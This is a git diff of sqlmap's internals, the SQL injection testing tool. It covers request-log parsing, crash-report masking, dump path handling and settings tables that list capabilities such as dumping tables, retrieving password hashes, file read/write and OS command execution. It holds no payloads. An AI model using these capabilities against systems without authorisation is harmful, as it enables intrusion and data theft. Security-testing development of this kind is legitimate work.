conf.nullConnection = not any((conf.data, conf.textOnly, conf.titles, conf.string, conf.notString, conf.regexp, conf.tor))
@@ -3180,9 +3220,7 @@ def showHttpErrorCodes():
if kb.httpErrorCodes:
warnMsg = "HTTP error codes detected during run:\n"
warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] \
if code in httplib.responses else '?', count) \
for code, count in kb.httpErrorCodes.items())
warnMsg += ", ".join("%d (%s) - %d times" % (code, httplib.responses[code] if code in httplib.responses else '?', count) for code, count in kb.httpErrorCodes.items())
logger.warn(warnMsg)
if any((str(_).startswith('4') or str(_).startswith('5')) and _ != httplib.INTERNAL_SERVER_ERROR and _ != kb.originalCode for _ in kb.httpErrorCodes.keys()):
msg = "too many 4xx and/or 5xx HTTP error codes "
@@ -3198,8 +3236,7 @@ def openFile(filename, mode='r', encoding=UNICODE_ENCODING, errors="replace", bu
return codecs.open(filename, mode, encoding, errors, buffering)
except IOError:
errMsg = "there has been a file opening error for filename '%s'. " % filename
errMsg += "Please check %s permissions on a file " % ("write" if \
mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
errMsg += "Please check %s permissions on a file " % ("write" if mode and ('w' in mode or 'a' in mode or '+' in mode) else "read")
errMsg += "and that it's not locked by another process."
raise SqlmapSystemException(errMsg)
@@ -3264,14 +3301,17 @@ def checkIntegrity():
logger.debug("running code integrity check")
retVal = True
for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
if not os.path.isfile(path):
logger.error("missing file detected '%s'" % path)
retVal = False
elif md5File(path) != checksum:
logger.error("wrong checksum of file '%s' detected" % path)
retVal = False
if os.path.isfile(paths.CHECKSUM_MD5):
for checksum, _ in (re.split(r'\s+', _) for _ in getFileItems(paths.CHECKSUM_MD5)):
path = os.path.normpath(os.path.join(paths.SQLMAP_ROOT_PATH, _))
if not os.path.isfile(path):
logger.error("missing file detected '%s'" % path)
retVal = False
elif md5File(path) != checksum:
logger.error("wrong checksum of file '%s' detected" % path)
retVal = False
return retVal
def unhandledExceptionMessage():
@@ -3287,9 +3327,9 @@ def unhandledExceptionMessage():
errMsg += "reproduce the bug. The "
errMsg += "developers will try to reproduce the bug, fix it accordingly "
errMsg += "and get back to you\n"
errMsg += "sqlmap version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Running version: %s\n" % VERSION_STRING[VERSION_STRING.find('/') + 1:]
errMsg += "Python version: %s\n" % PYVERSION
errMsg += "Operating system: %s\n" % PLATFORM
errMsg += "Operating system: %s\n" % platform.platform()
errMsg += "Command line: %s\n" % re.sub(r".+?\bsqlmap\.py\b", "sqlmap.py", getUnicode(" ".join(sys.argv), encoding=sys.stdin.encoding))
errMsg += "Technique: %s\n" % (enumValueToNameLookup(PAYLOAD.TECHNIQUE, kb.technique) if kb.get("technique") else ("DIRECT" if conf.get("direct") else None))
errMsg += "Back-end DBMS:"
@@ -3305,6 +3345,22 @@ def unhandledExceptionMessage():
return errMsg
def getLatestRevision():
"""
Retrieves latest revision from the offical repository
"""
retVal = None
req = urllib2.Request(url="https://raw.githubusercontent.com/sqlmapproject/sqlmap/master/lib/core/settings.py")
try:
content = urllib2.urlopen(req).read()
retVal = extractRegexResult(r"VERSION\s*=\s*[\"'](?P<result>[\d.]+)", content)
except:
pass
return retVal
def createGithubIssue(errMsg, excMsg):
"""
Automatically create a Github issue with unhandled exception information
@@ -3319,7 +3375,7 @@ def createGithubIssue(errMsg, excMsg):
_ = re.sub(r"'[^']+'", "''", excMsg)
_ = re.sub(r"\s+line \d+", "", _)
_ = re.sub(r'File ".+?/(\w+\.py)', "\g<1>", _)
_ = re.sub(r'File ".+?/(\w+\.py)', r"\g<1>", _)
_ = re.sub(r".+\Z", "", _)
key = hashlib.md5(_).hexdigest()[:8]
@@ -3330,7 +3386,7 @@ def createGithubIssue(errMsg, excMsg):
msg += "with the unhandled exception information at "
msg += "the official Github repository? [y/N] "
try:
choice = readInput(msg, default='N', boolean=True)
choice = readInput(msg, default='N', checkBatch=False, boolean=True)
except:
choice = None
@@ -3397,10 +3453,9 @@ def maskSensitiveData(msg):
value = extractRegexResult(regex, retVal)
retVal = retVal.replace(value, '*' * len(value))
if not conf.get("hostname"):
match = re.search(r"(?i)sqlmap.+(-u|--url)(\s+|=)([^ ]+)", retVal)
if match:
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
# Just in case (for problematic parameters regarding user encoding)
for match in re.finditer(r"(?i)[ -]-(u|url|data|cookie)( |=)(.*?)(?= -?-[a-z]|\Z)", retVal):
retVal = retVal.replace(match.group(3), '*' * len(match.group(3)))
if getpass.getuser():
retVal = re.sub(r"(?i)\b%s\b" % re.escape(getpass.getuser()), '*' * len(getpass.getuser()), retVal)
@@ -3486,6 +3541,7 @@ def removeReflectiveValues(content, payload, suppressWarning=False):
regex = r"%s\b" % regex
_retVal = [retVal]
def _thread(regex):
try:
_retVal[0] = re.sub(r"(?i)%s" % regex, REFLECTED_VALUE_MARKER, _retVal[0])
@@ -3562,7 +3618,7 @@ def safeSQLIdentificatorNaming(name, isTable=False):
_ = isTable and Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE)
if _:
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "", retVal)
retVal = re.sub(r"(?i)\A\[?%s\]?\." % DEFAULT_MSSQL_SCHEMA, "%s." % DEFAULT_MSSQL_SCHEMA, retVal)
if retVal.upper() in kb.keywords or (retVal or " ")[0].isdigit() or not re.match(r"\A[A-Za-z0-9_@%s\$]+\Z" % ('.' if _ else ""), retVal): # MsSQL is the only DBMS where we automatically prepend schema to table name (dot is normal)
retVal = unsafeSQLIdentificatorNaming(retVal)
@@ -3573,8 +3629,12 @@ def safeSQLIdentificatorNaming(name, isTable=False):
retVal = "\"%s\"" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,):
retVal = "\"%s\"" % retVal.upper()
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE) and ((retVal or " ")[0].isdigit() or not re.match(r"\A\w+\Z", retVal, re.U)):
retVal = "[%s]" % retVal
elif Backend.getIdentifiedDbms() in (DBMS.MSSQL, DBMS.SYBASE):
parts = retVal.split('.', 1)
for i in xrange(len(parts)):
if ((parts[i] or " ")[0].isdigit() or not re.match(r"\A\w+\Z", parts[i], re.U)):
parts[i] = "[%s]" % parts[i]
retVal = '.'.join(parts)
if _ and DEFAULT_MSSQL_SCHEMA not in retVal and '.' not in re.sub(r"\[[^]]+\]", "", retVal):
retVal = "%s.%s" % (DEFAULT_MSSQL_SCHEMA, retVal)
@@ -3702,7 +3762,7 @@ def expandMnemonics(mnemonics, parser, args):
logger.debug(debugMsg)
else:
found = sorted(options.keys(), key=lambda x: len(x))[0]
warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
warnMsg = "detected ambiguity (mnemonic '%s' can be resolved to any of: %s). " % (name, ", ".join("'%s'" % key for key in options.keys()))
warnMsg += "Resolved to shortest of those ('%s')" % found
logger.warn(warnMsg)
@@ -3850,7 +3910,7 @@ def asciifyUrl(url, forceQuote=False):
# urllib.quote(s.replace('%', '')) != s.replace('%', '')
# which would trigger on all %-characters, e.g. "&".
if getUnicode(s).encode("ascii", "replace") != s or forceQuote:
return urllib.quote(s.encode(UNICODE_ENCODING), safe=safe)
return urllib.quote(s.encode(UNICODE_ENCODING) if isinstance(s, unicode) else s, safe=safe)
return s
username = quote(parts.username, '')
@@ -3908,12 +3968,16 @@ def isAdminFromPrivileges(privileges):
def findPageForms(content, url, raise_=False, addToTargets=False):
"""
Parses given page content for possible forms
>>> findPageForms('<html><form action="/input.php" method="POST"><input type="text" name="id" value="1"><input type="submit" value="Submit"></form></html>', '')
set([(u'/input.php', 'POST', u'id=1', None, None)])
"""
class _(StringIO):
def __init__(self, content, url):
StringIO.__init__(self, unicodeencode(content, kb.pageEncoding) if isinstance(content, unicode) else content)
self._url = url
def geturl(self):
return self._url
@@ -3930,8 +3994,6 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
try:
forms = ParseResponse(response, backwards_compat=False)
except (UnicodeError, ValueError):
pass
except ParseError:
if re.search(r"(?i)<!DOCTYPE html|<html", content or ""):
warnMsg = "badly formed HTML at the given URL ('%s'). Going to filter it" % url
@@ -3947,6 +4009,8 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
raise SqlmapGenericException(errMsg)
else:
logger.debug(errMsg)
except:
pass
if forms:
for form in forms:
@@ -3977,7 +4041,7 @@ def findPageForms(content, url, raise_=False, addToTargets=False):
url = urldecode(request.get_full_url(), kb.pageEncoding)
method = request.get_method()
data = request.get_data() if request.has_data() else None
data = urldecode(data, kb.pageEncoding, plusspace=False)
data = urldecode(data, kb.pageEncoding, spaceplus=False)
if not data and method and method.upper() == HTTPMETHOD.POST:
debugMsg = "invalid POST form with blank data detected"
@@ -4039,7 +4103,7 @@ def getHostHeader(url):
retVal = urlparse.urlparse(url).netloc
if re.search(r"http(s)?://\[.+\]", url, re.I):
retVal = extractRegexResult("http(s)?://\[(?P<result>.+)\]", url)
retVal = extractRegexResult(r"http(s)?://\[(?P<result>.+)\]", url)
elif any(retVal.endswith(':%d' % _) for _ in (80, 443)):
retVal = retVal.split(':')[0]
@@ -4051,6 +4115,7 @@ def checkDeprecatedOptions(args):
"""
for _ in args:
_ = _.split('=')[0].strip()
if _ in DEPRECATED_OPTIONS:
errMsg = "switch/option '%s' is deprecated" % _
if DEPRECATED_OPTIONS[_]:
@@ -4186,7 +4251,7 @@ def decodeHexValue(value, raw=False):
except UnicodeDecodeError:
pass
if not isinstance(retVal, unicode):
retVal = getUnicode(retVal, "utf8")
retVal = getUnicode(retVal, conf.encoding or "utf8")
return retVal
@@ -4219,9 +4284,11 @@ def extractExpectedValue(value, expected):
value = value.strip().lower()
if value in ("true", "false"):
value = value == "true"
elif value in ('t', 'f'):
value = value == 't'
elif value in ("1", "-1"):
value = True
elif value == "0":
elif value == '0':
value = False
else:
value = None
@@ -4236,7 +4303,7 @@ def hashDBWrite(key, value, serialize=False):
Helper function for writing session data to HashDB
"""
_ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE)
_ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
conf.hashDB.write(_, value, serialize)
def hashDBRetrieve(key, unserialize=False, checkConf=False):
@@ -4244,7 +4311,7 @@ def hashDBRetrieve(key, unserialize=False, checkConf=False):
Helper function for restoring session data from HashDB
"""
_ = "%s%s%s" % (conf.url or "%s%s" % (conf.hostname, conf.port), key, HASHDB_MILESTONE_VALUE)
_ = '|'.join((str(_) if not isinstance(_, basestring) else _) for _ in (conf.hostname, conf.path.strip('/') if conf.path is not None else conf.port, key, HASHDB_MILESTONE_VALUE))
retVal = conf.hashDB.retrieve(_, unserialize) if kb.resumeValues and not (checkConf and any((conf.flushSession, conf.freshQueries))) else None
if not kb.inferenceMode and not kb.fileReadMode and isinstance(retVal, basestring) and any(_ in retVal for _ in (PARTIAL_VALUE_MARKER, PARTIAL_HEX_VALUE_MARKER)):
@@ -4296,7 +4363,7 @@ def resetCookieJar(cookieJar):
except cookielib.LoadError, msg:
errMsg = "there was a problem loading "
errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", "\g<1>", str(msg))
errMsg += "cookies file ('%s')" % re.sub(r"(cookies) file '[^']+'", r"\g<1>", str(msg))
raise SqlmapGenericException(errMsg)
def decloakToTemp(filename):
@@ -4328,7 +4395,9 @@ def prioritySortColumns(columns):
['userid', 'name', 'password']
"""
_ = lambda x: x and "id" in x.lower()
def _(column):
return column and "id" in column.lower()
return sorted(sorted(columns, key=len), lambda x, y: -1 if _(x) and not _(y) else 1 if not _(x) and _(y) else 0)
def getRequestHeader(request, name):
@@ -4340,7 +4409,7 @@ def getRequestHeader(request, name):
retVal = None
if request and name:
if request and request.headers and name:
_ = name.upper()
retVal = max(value if _ == key.upper() else None for key, value in request.header_items())
@@ -4421,6 +4490,195 @@ def pollProcess(process, suppress_errors=False):
break
def parseRequestFile(reqFile, checkParams=True):
"""
Parses WebScarab and Burp logs and adds results to the target URL list
"""
def _parseWebScarabLog(content):
"""
Parses WebScarab logs (POST method not supported)
"""
reqResList = content.split(WEBSCARAB_SPLITTER)
for request in reqResList:
url = extractRegexResult(r"URL: (?P<result>.+?)\n", request, re.I)
method = extractRegexResult(r"METHOD: (?P<result>.+?)\n", request, re.I)
cookie = extractRegexResult(r"COOKIE: (?P<result>.+?)\n", request, re.I)
if not method or not url:
logger.debug("not a valid WebScarab log data")
continue
if method.upper() == HTTPMETHOD.POST:
warnMsg = "POST requests from WebScarab logs aren't supported "
warnMsg += "as their body content is stored in separate files. "
warnMsg += "Nevertheless you can use -r to load them individually."
logger.warning(warnMsg)
continue
if not(conf.scope and not re.search(conf.scope, url, re.I)):
yield (url, method, None, cookie, tuple())
def _parseBurpLog(content):
"""
Parses Burp logs
"""
if not re.search(BURP_REQUEST_REGEX, content, re.I | re.S):
if re.search(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
reqResList = []
for match in re.finditer(BURP_XML_HISTORY_REGEX, content, re.I | re.S):
port, request = match.groups()
try:
request = request.decode("base64")
except binascii.Error:
continue
_ = re.search(r"%s:.+" % re.escape(HTTP_HEADER.HOST), request)
if _:
host = _.group(0).strip()
if not re.search(r":\d+\Z", host):
request = request.replace(host, "%s:%d" % (host, int(port)))
reqResList.append(request)
else:
reqResList = [content]
else:
reqResList = re.finditer(BURP_REQUEST_REGEX, content, re.I | re.S)
for match in reqResList:
request = match if isinstance(match, basestring) else match.group(0)
request = re.sub(r"\A[^\w]+", "", request)
schemePort = re.search(r"(http[\w]*)\:\/\/.*?\:([\d]+).+?={10,}", request, re.I | re.S)
if schemePort:
scheme = schemePort.group(1)
port = schemePort.group(2)
request = re.sub(r"\n=+\Z", "", request.split(schemePort.group(0))[-1].lstrip())
else:
scheme, port = None, None
if not re.search(r"^[\n]*(%s).*?\sHTTP\/" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), request, re.I | re.M):
continue
if re.search(r"^[\n]*%s.*?\.(%s)\sHTTP\/" % (HTTPMETHOD.GET, "|".join(CRAWL_EXCLUDE_EXTENSIONS)), request, re.I | re.M):
continue
getPostReq = False
url = None
host = None
method = None
data = None
cookie = None
params = False
newline = None
lines = request.split('\n')
headers = []
for index in xrange(len(lines)):
line = lines[index]
if not line.strip() and index == len(lines) - 1:
break
newline = "\r\n" if line.endswith('\r') else '\n'
line = line.strip('\r')
match = re.search(r"\A(%s) (.+) HTTP/[\d.]+\Z" % "|".join(getPublicTypeMembers(HTTPMETHOD, True)), line) if not method else None
if len(line.strip()) == 0 and method and method != HTTPMETHOD.GET and data is None:
data = ""
params = True
elif match:
method = match.group(1)
url = match.group(2)
if any(_ in line for _ in ('?', '=', kb.customInjectionMark)):
params = True
getPostReq = True
# POST parameters
elif data is not None and params:
data += "%s%s" % (line, newline)
# GET parameters
elif "?" in line and "=" in line and ": " not in line:
params = True
# Headers
elif re.search(r"\A\S+:", line):
key, value = line.split(":", 1)
value = value.strip().replace("\r", "").replace("\n", "")
# Cookie and Host headers
if key.upper() == HTTP_HEADER.COOKIE.upper():
cookie = value
elif key.upper() == HTTP_HEADER.HOST.upper():
if '://' in value:
scheme, value = value.split('://')[:2]
splitValue = value.split(":")
host = splitValue[0]
if len(splitValue) > 1:
port = filterStringValue(splitValue[1], "[0-9]")
# Avoid to add a static content length header to
# headers and consider the following lines as
# POSTed data
if key.upper() == HTTP_HEADER.CONTENT_LENGTH.upper():
params = True
# Avoid proxy and connection type related headers
elif key not in (HTTP_HEADER.PROXY_CONNECTION, HTTP_HEADER.CONNECTION):
headers.append((getUnicode(key), getUnicode(value)))
if kb.customInjectionMark in re.sub(PROBLEMATIC_CUSTOM_INJECTION_PATTERNS, "", value or ""):
params = True
data = data.rstrip("\r\n") if data else data
if getPostReq and (params or cookie or not checkParams):
if not port and isinstance(scheme, basestring) and scheme.lower() == "https":
port = "443"
elif not scheme and port == "443":
scheme = "https"
if conf.forceSSL:
scheme = "https"
port = port or "443"
if not host:
errMsg = "invalid format of a request file"
raise SqlmapSyntaxException(errMsg)
if not url.startswith("http"):
url = "%s://%s:%s%s" % (scheme or "http", host, port or "80", url)
scheme = None
port = None
if not(conf.scope and not re.search(conf.scope, url, re.I)):
yield (url, conf.method or method, data, cookie, tuple(headers))
checkFile(reqFile)
try:
with openFile(reqFile, "rb") as f:
content = f.read()
except (IOError, OSError, MemoryError), ex:
errMsg = "something went wrong while trying "
errMsg += "to read the content of file '%s' ('%s')" % (reqFile, getSafeExString(ex))
raise SqlmapSystemException(errMsg)
if conf.scope:
logger.info("using regular expression '%s' for filtering targets" % conf.scope)
for target in _parseBurpLog(content):
yield target
for target in _parseWebScarabLog(content):
yield target
def getSafeExString(ex, encoding=None):
"""
Safe way how to get the proper exception represtation as a string
@@ -4444,3 +4702,13 @@ def safeVariableNaming(value):
def unsafeVariableNaming(value):
return re.sub(r"%s([0-9a-f]{2})" % SAFE_VARIABLE_MARKER, lambda match: match.group(1).decode("hex"), value)
def firstNotNone(*args):
retVal = None
for _ in args:
if _ is not None:
retVal = _
break
return retVal

View File

@@ -80,7 +80,7 @@ def base64unpickle(value, unsafe=False):
if len(self.stack) > 1:
func = self.stack[-2]
if func not in PICKLE_REDUCE_WHITELIST:
raise Exception, "abusing reduce() is bad, Mkay!"
raise Exception("abusing reduce() is bad, Mkay!")
self.load_reduce()
def loads(str):
@@ -94,7 +94,7 @@ def base64unpickle(value, unsafe=False):
try:
retVal = loads(base64decode(value))
except TypeError:
except TypeError:
retVal = loads(base64decode(bytes(value)))
return retVal
@@ -174,7 +174,7 @@ def htmlunescape(value):
pass
return retVal
def singleTimeWarnMessage(message): # Cross-linked function
def singleTimeWarnMessage(message): # Cross-referenced function
sys.stdout.write(message)
sys.stdout.write("\n")
sys.stdout.flush()

View File

@@ -7,6 +7,8 @@ See the file 'LICENSE' for copying permission
import hashlib
from lib.core.threads import getCurrentThreadData
def cachedmethod(f, cache={}):
"""
Method with a cached content
@@ -15,10 +17,25 @@ def cachedmethod(f, cache={}):
"""
def _(*args, **kwargs):
key = int(hashlib.md5("".join(str(_) for _ in (f, args, kwargs))).hexdigest()[:8], 16)
key = int(hashlib.md5("|".join(str(_) for _ in (f, args, kwargs))).hexdigest(), 16) & 0x7fffffffffffffff
if key not in cache:
cache[key] = f(*args, **kwargs)
return cache[key]
return _
def stackedmethod(f):
def _(*args, **kwargs):
threadData = getCurrentThreadData()
originalLevel = len(threadData.valueStack)
try:
result = f(*args, **kwargs)
finally:
if len(threadData.valueStack) > originalLevel:
threadData.valueStack = threadData.valueStack[:originalLevel]
return result
return _

View File

@@ -8,20 +8,20 @@ See the file 'LICENSE' for copying permission
from lib.core.datatype import AttribDict
_defaults = {
"csvDel": ',',
"timeSec": 5,
"googlePage": 1,
"verbose": 1,
"delay": 0,
"timeout": 30,
"retries": 3,
"saFreq": 0,
"threads": 1,
"level": 1,
"risk": 1,
"dumpFormat": "CSV",
"tech": "BEUSTQ",
"torType": "SOCKS5",
"csvDel": ',',
"timeSec": 5,
"googlePage": 1,
"verbose": 1,
"delay": 0,
"timeout": 30,
"retries": 3,
"saFreq": 0,
"threads": 1,
"level": 1,
"risk": 1,
"dumpFormat": "CSV",
"tech": "BEUSTQ",
"torType": "SOCKS5",
}
defaults = AttribDict(_defaults)

View File

@@ -5,6 +5,7 @@ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""
from lib.core.enums import CONTENT_TYPE
from lib.core.enums import DBMS
from lib.core.enums import OS
from lib.core.enums import POST_HINT
@@ -208,54 +209,60 @@ FROM_DUMMY_TABLE = {
}
SQL_STATEMENTS = {
"SQL SELECT statement": (
"select ",
"show ",
" top ",
" distinct ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ", ),
"SQL SELECT statement": (
"select ",
"show ",
" top ",
" distinct ",
" from ",
" from dual",
" where ",
" group by ",
" order by ",
" having ",
" limit ",
" offset ",
" union all ",
" rownum as ",
"(case ",
),
"SQL data definition": (
"SQL data definition": (
"create ",
"declare ",
"drop ",
"truncate ",
"alter ", ),
"alter ",
),
"SQL data manipulation": (
"bulk ",
"insert ",
"update ",
"delete ",
"merge ",
"load ", ),
"bulk ",
"insert ",
"update ",
"delete ",
"merge ",
"load ",
),
"SQL data control": (
"grant ",
"revoke ", ),
"SQL data control": (
"grant ",
"revoke ",
),
"SQL data execution": (
"exec ",
"execute ",
"values ",
"call ", ),
"SQL data execution": (
"exec ",
"execute ",
"values ",
"call ",
),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ", ),
"SQL transaction": (
"start transaction ",
"begin work ",
"begin transaction ",
"commit ",
"rollback ",
),
}
POST_HINT_CONTENT_TYPES = {
@@ -273,6 +280,8 @@ DEPRECATED_OPTIONS = {
"--binary": "use '--binary-fields' instead",
"--auth-private": "use '--auth-file' instead",
"--ignore-401": "use '--ignore-code' instead",
"--second-order": "use '--second-url' instead",
"--purge-output": "use '--purge' instead",
"--check-payload": None,
"--check-waf": None,
"--pickled-options": "use '--api -c ...' instead",
@@ -287,3 +296,31 @@ DEFAULT_DOC_ROOTS = {
OS.WINDOWS: ("C:/xampp/htdocs/", "C:/wamp/www/", "C:/Inetpub/wwwroot/"),
OS.LINUX: ("/var/www/", "/var/www/html", "/usr/local/apache2/htdocs", "/var/www/nginx-default", "/srv/www") # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout
}
PART_RUN_CONTENT_TYPES = {
"checkDbms": CONTENT_TYPE.TECHNIQUES,
"getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
"getBanner": CONTENT_TYPE.BANNER,
"getCurrentUser": CONTENT_TYPE.CURRENT_USER,
"getCurrentDb": CONTENT_TYPE.CURRENT_DB,
"getHostname": CONTENT_TYPE.HOSTNAME,
"isDba": CONTENT_TYPE.IS_DBA,
"getUsers": CONTENT_TYPE.USERS,
"getPasswordHashes": CONTENT_TYPE.PASSWORDS,
"getPrivileges": CONTENT_TYPE.PRIVILEGES,
"getRoles": CONTENT_TYPE.ROLES,
"getDbs": CONTENT_TYPE.DBS,
"getTables": CONTENT_TYPE.TABLES,
"getColumns": CONTENT_TYPE.COLUMNS,
"getSchema": CONTENT_TYPE.SCHEMA,
"getCount": CONTENT_TYPE.COUNT,
"dumpTable": CONTENT_TYPE.DUMP_TABLE,
"search": CONTENT_TYPE.SEARCH,
"sqlQuery": CONTENT_TYPE.SQL_QUERY,
"tableExists": CONTENT_TYPE.COMMON_TABLES,
"columnExists": CONTENT_TYPE.COMMON_COLUMNS,
"readFile": CONTENT_TYPE.FILE_READ,
"writeFile": CONTENT_TYPE.FILE_WRITE,
"osCmd": CONTENT_TYPE.OS_CMD,
"regRead": CONTENT_TYPE.REG_READ
}

View File

@@ -46,6 +46,7 @@ from lib.core.settings import METADB_SUFFIX
from lib.core.settings import MIN_BINARY_DISK_DUMP_SIZE
from lib.core.settings import TRIM_STDOUT_DUMP_SIZE
from lib.core.settings import UNICODE_ENCODING
from lib.core.settings import UNSAFE_DUMP_FILEPATH_REPLACEMENT
from lib.core.settings import WINDOWS_RESERVED_NAMES
from thirdparty.magic import magic
@@ -414,16 +415,16 @@ class Dump(object):
elif conf.dumpFormat in (DUMP_FORMAT.CSV, DUMP_FORMAT.HTML):
if not os.path.isdir(dumpDbPath):
try:
os.makedirs(dumpDbPath, 0755)
os.makedirs(dumpDbPath)
except:
warnFile = True
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(db)))
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(db)))
dumpDbPath = os.path.join(conf.dumpPath, "%s-%s" % (_, hashlib.md5(unicodeencode(db)).hexdigest()[:8]))
if not os.path.isdir(dumpDbPath):
try:
os.makedirs(dumpDbPath, 0755)
os.makedirs(dumpDbPath)
except Exception, ex:
try:
tempDir = tempfile.mkdtemp(prefix="sqlmapdb")
@@ -441,7 +442,7 @@ class Dump(object):
dumpDbPath = tempDir
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower()))
dumpFileName = os.path.join(dumpDbPath, re.sub(r'[\\/]', UNSAFE_DUMP_FILEPATH_REPLACEMENT, "%s.%s" % (unsafeSQLIdentificatorNaming(table), conf.dumpFormat.lower())))
if not checkFile(dumpFileName, False):
try:
openFile(dumpFileName, "w+b").close()
@@ -450,9 +451,9 @@ class Dump(object):
except:
warnFile = True
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(table)))
if len(_) < len(table) or IS_WIN and table.upper() in WINDOWS_RESERVED_NAMES:
_ = unicodeencode(re.sub(r"[^\w]", "_", unsafeSQLIdentificatorNaming(table)))
_ = unicodeencode(re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, unsafeSQLIdentificatorNaming(table)))
dumpFileName = os.path.join(dumpDbPath, "%s-%s.%s" % (_, hashlib.md5(unicodeencode(table)).hexdigest()[:8], conf.dumpFormat.lower()))
else:
dumpFileName = os.path.join(dumpDbPath, "%s.%s" % (_, conf.dumpFormat.lower()))
@@ -611,9 +612,9 @@ class Dump(object):
mimetype = magic.from_buffer(value, mime=True)
if any(mimetype.startswith(_) for _ in ("application", "image")):
if not os.path.isdir(dumpDbPath):
os.makedirs(dumpDbPath, 0755)
os.makedirs(dumpDbPath)
_ = re.sub(r"[^\w]", "_", normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
_ = re.sub(r"[^\w]", UNSAFE_DUMP_FILEPATH_REPLACEMENT, normalizeUnicode(unsafeSQLIdentificatorNaming(column)))
filepath = os.path.join(dumpDbPath, "%s-%d.bin" % (_, randomInt(8)))
warnMsg = "writing binary ('%s') content to file '%s' " % (mimetype, filepath)
logger.warn(warnMsg)

View File

@@ -22,6 +22,15 @@ class SORT_ORDER:
FIFTH = 4
LAST = 100
# Reference: https://docs.python.org/2/library/logging.html#logging-levels
class LOGGING_LEVELS:
NOTSET = 0
DEBUG = 10
INFO = 20
WARNING = 30
ERROR = 40
CRITICAL = 50
class DBMS:
ACCESS = "Microsoft Access"
DB2 = "IBM DB2"
@@ -233,40 +242,40 @@ class REDIRECTION:
class PAYLOAD:
SQLINJECTION = {
1: "boolean-based blind",
2: "error-based",
3: "inline query",
4: "stacked queries",
5: "AND/OR time-based blind",
6: "UNION query",
}
1: "boolean-based blind",
2: "error-based",
3: "inline query",
4: "stacked queries",
5: "AND/OR time-based blind",
6: "UNION query",
}
PARAMETER = {
1: "Unescaped numeric",
2: "Single quoted string",
3: "LIKE single quoted string",
4: "Double quoted string",
5: "LIKE double quoted string",
}
1: "Unescaped numeric",
2: "Single quoted string",
3: "LIKE single quoted string",
4: "Double quoted string",
5: "LIKE double quoted string",
}
RISK = {
0: "No risk",
1: "Low risk",
2: "Medium risk",
3: "High risk",
}
0: "No risk",
1: "Low risk",
2: "Medium risk",
3: "High risk",
}
CLAUSE = {
0: "Always",
1: "WHERE",
2: "GROUP BY",
3: "ORDER BY",
4: "LIMIT",
5: "OFFSET",
6: "TOP",
7: "Table name",
8: "Column name",
}
0: "Always",
1: "WHERE",
2: "GROUP BY",
3: "ORDER BY",
4: "LIMIT",
5: "OFFSET",
6: "TOP",
7: "Table name",
8: "Column name",
}
class METHOD:
COMPARISON = "comparison"
@@ -331,34 +340,6 @@ class CONTENT_TYPE:
OS_CMD = 24
REG_READ = 25
PART_RUN_CONTENT_TYPES = {
"checkDbms": CONTENT_TYPE.TECHNIQUES,
"getFingerprint": CONTENT_TYPE.DBMS_FINGERPRINT,
"getBanner": CONTENT_TYPE.BANNER,
"getCurrentUser": CONTENT_TYPE.CURRENT_USER,
"getCurrentDb": CONTENT_TYPE.CURRENT_DB,
"getHostname": CONTENT_TYPE.HOSTNAME,
"isDba": CONTENT_TYPE.IS_DBA,
"getUsers": CONTENT_TYPE.USERS,
"getPasswordHashes": CONTENT_TYPE.PASSWORDS,
"getPrivileges": CONTENT_TYPE.PRIVILEGES,
"getRoles": CONTENT_TYPE.ROLES,
"getDbs": CONTENT_TYPE.DBS,
"getTables": CONTENT_TYPE.TABLES,
"getColumns": CONTENT_TYPE.COLUMNS,
"getSchema": CONTENT_TYPE.SCHEMA,
"getCount": CONTENT_TYPE.COUNT,
"dumpTable": CONTENT_TYPE.DUMP_TABLE,
"search": CONTENT_TYPE.SEARCH,
"sqlQuery": CONTENT_TYPE.SQL_QUERY,
"tableExists": CONTENT_TYPE.COMMON_TABLES,
"columnExists": CONTENT_TYPE.COMMON_COLUMNS,
"readFile": CONTENT_TYPE.FILE_READ,
"writeFile": CONTENT_TYPE.FILE_WRITE,
"osCmd": CONTENT_TYPE.OS_CMD,
"regRead": CONTENT_TYPE.REG_READ
}
class CONTENT_STATUS:
IN_PROGRESS = 0
COMPLETE = 1
@@ -373,6 +354,7 @@ class AUTOCOMPLETE_TYPE:
SQL = 0
OS = 1
